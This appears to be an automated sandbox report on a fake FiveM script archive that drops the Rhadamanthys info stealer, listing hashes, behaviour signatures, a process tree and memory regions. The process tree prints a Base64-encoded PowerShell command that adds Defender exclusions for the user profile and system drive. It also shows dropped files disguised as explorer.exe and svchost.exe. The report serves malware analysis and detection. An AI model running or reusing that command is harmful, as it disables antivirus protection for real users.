Resubmissions

27-03-2024 17:10

240327-vp3klabh7y 10

27-03-2024 17:07

240327-vnfdnsbh4w 3

27-03-2024 17:03

240327-vknwmsbg61 10

Analysis

  • max time kernel
    66s
  • max time network
    68s
  • platform
    windows7_x64
  • resource
    win7-20240215-en
  • resource tags

    arch:x64arch:x86image:win7-20240215-enlocale:en-usos:windows7-x64system
  • submitted
    27-03-2024 17:03

General

  • Target

    SKRIPTGG-FIVEM-main/Skript.rar

  • Size

    4.6MB

  • MD5

    5ca1a9888343fce41dc19ee85d5728c6

  • SHA1

    004851b9a5327782dfffc773c7d352c3de6fa341

  • SHA256

    26ce31dad5149454c39376256c88397b1a2e6c4e8f66b42cbce9f2cd904132cc

  • SHA512

    3d0b20640da4695b3a2c70e39269dd6a48777c97e451385c8aebc876a5db430744d594118f217185cb4816d6e9c12f7c254deccad8652b710fbb9f5a83a5bf46

  • SSDEEP

    98304:xI/GiwtepY3UjkkABs7ieskoAPS1tgX3Fr1gnzWMbz4Y:xqlpY3UtA+GePS1tuunzWtY

Malware Config

Signatures

  • Rhadamanthys

    Rhadamanthys is an info stealer written in C++ first seen in August 2022.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 5 IoCs
  • UPX packed file 3 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Detects Pyinstaller 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 40 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:1196
      • C:\Windows\system32\cmd.exe
        cmd /c C:\Users\Admin\AppData\Local\Temp\SKRIPTGG-FIVEM-main\Skript.rar
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1624
        • C:\Program Files\7-Zip\7zFM.exe
          "C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\SKRIPTGG-FIVEM-main\Skript.rar"
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: GetForegroundWindowSpam
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of WriteProcessMemory
          PID:2572
          • C:\Users\Admin\AppData\Local\Temp\7zOC0AD82E6\launcher.exe
            "C:\Users\Admin\AppData\Local\Temp\7zOC0AD82E6\launcher.exe"
            4⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Suspicious use of WriteProcessMemory
            PID:1596
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGcAaQB6ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHgAZgBnACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHoAcgBnACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGQAYQBjACMAPgA="
              5⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2608
            • C:\Users\Admin\AppData\Local\Temp\explorer.exe
              "C:\Users\Admin\AppData\Local\Temp\explorer.exe"
              5⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:1940
              • C:\Users\Admin\AppData\Local\Temp\explorer.exe
                "C:\Users\Admin\AppData\Local\Temp\explorer.exe"
                6⤵
                • Executes dropped EXE
                • Loads dropped DLL
                PID:2288
            • C:\Users\Admin\AppData\Local\svchost.exe
              "C:\Users\Admin\AppData\Local\svchost.exe"
              5⤵
              • Suspicious use of NtCreateUserProcessOtherParentProcess
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of WriteProcessMemory
              PID:2712
      • C:\Windows\SysWOW64\dialer.exe
        "C:\Windows\system32\dialer.exe"
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:2280
      • C:\Windows\explorer.exe
        "C:\Windows\explorer.exe"
        2⤵
          PID:2196

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\7zOC0AD82E6\launcher.exe

        Filesize

        4.7MB

        MD5

        620024df612c13a4a33cf785384c2086

        SHA1

        a6ae999723bea18c6d3acf2c52ed682f6226b7be

        SHA256

        cd825788095cd61de39d98d6365ed80004cc55a64f4f115ef6bf532617bb0af1

        SHA512

        34d4d8a423d98bf0b8d4f18dc980bed97e9492f0817bb1e2dff99fc8d9d0cfaa2687514eff7717b1310a2c858236614490e980390612901e08b69b6ded451bdd

      • C:\Users\Admin\AppData\Local\Temp\_MEI19402\python310.dll

        Filesize

        1.4MB

        MD5

        3f782cf7874b03c1d20ed90d370f4329

        SHA1

        08a2b4a21092321de1dcad1bb2afb660b0fa7749

        SHA256

        2a382aff16533054e6de7d13b837a24d97ea2957805730cc7b08b75e369f58d6

        SHA512

        950c039eb23ed64ca8b2f0a9284ebdb6f0efe71dde5bbf0187357a66c3ab0823418edca34811650270eea967f0e541eece90132f9959d5ba5984405630a99857

      • \Users\Admin\AppData\Local\Temp\explorer.exe

        Filesize

        4.4MB

        MD5

        aba4fcf0d72b487887f315202bc43ae4

        SHA1

        de51440c742c58f52f3b7cc2a1fcda5abd3d1ca8

        SHA256

        8f312c17c2a525ac9bc0838e4d9f69db5bb20478ffa4880fb3a8b98caf0e25ef

        SHA512

        fed41d5eb4a61c43bb3032c0d0b3d347d6b89a06d2928155f2e0baa59295ae71d3e689c3c78a584f2db64fd5ab3a06578623a8d41d7055b535c4d2317aef2bf9

      • \Users\Admin\AppData\Local\svchost.exe

        Filesize

        355KB

        MD5

        8a6f1580a5b9b94d7cd47cc6b1af1b9a

        SHA1

        e68768afd59e18091d345cb300e859572e8d4c5c

        SHA256

        bb1464e75c750d90c0c49d148c9e64eefe0c29b2f670d708c8085ddd3104dbfe

        SHA512

        1663a9e0868b3f5d7e1edd30259024e419c2d190ec8c31e76e66aef0c8a0e02da0c829584214b9e2f76cbd349a53bf77d01d03e9b0e9c8a99eb18021b1d53309

      • memory/2280-79-0x0000000000090000-0x0000000000099000-memory.dmp

        Filesize

        36KB

      • memory/2280-90-0x0000000077730000-0x00000000778D9000-memory.dmp

        Filesize

        1.7MB

      • memory/2280-89-0x0000000000870000-0x0000000000C70000-memory.dmp

        Filesize

        4.0MB

      • memory/2280-87-0x00000000765A0000-0x00000000765E7000-memory.dmp

        Filesize

        284KB

      • memory/2280-85-0x0000000000870000-0x0000000000C70000-memory.dmp

        Filesize

        4.0MB

      • memory/2280-84-0x0000000077730000-0x00000000778D9000-memory.dmp

        Filesize

        1.7MB

      • memory/2280-83-0x0000000000870000-0x0000000000C70000-memory.dmp

        Filesize

        4.0MB

      • memory/2288-68-0x000007FEF61B0000-0x000007FEF6616000-memory.dmp

        Filesize

        4.4MB

      • memory/2288-91-0x000007FEF61B0000-0x000007FEF6616000-memory.dmp

        Filesize

        4.4MB

      • memory/2608-72-0x0000000002BA0000-0x0000000002BE0000-memory.dmp

        Filesize

        256KB

      • memory/2608-88-0x0000000073770000-0x0000000073D1B000-memory.dmp

        Filesize

        5.7MB

      • memory/2608-71-0x0000000073770000-0x0000000073D1B000-memory.dmp

        Filesize

        5.7MB

      • memory/2712-78-0x00000000765A0000-0x00000000765E7000-memory.dmp

        Filesize

        284KB

      • memory/2712-76-0x0000000003230000-0x0000000003630000-memory.dmp

        Filesize

        4.0MB

      • memory/2712-81-0x0000000000CC0000-0x0000000000D2D000-memory.dmp

        Filesize

        436KB

      • memory/2712-75-0x0000000077730000-0x00000000778D9000-memory.dmp

        Filesize

        1.7MB

      • memory/2712-73-0x0000000003230000-0x0000000003630000-memory.dmp

        Filesize

        4.0MB

      • memory/2712-74-0x0000000003230000-0x0000000003630000-memory.dmp

        Filesize

        4.0MB

      • memory/2712-58-0x0000000000CC0000-0x0000000000D2D000-memory.dmp

        Filesize

        436KB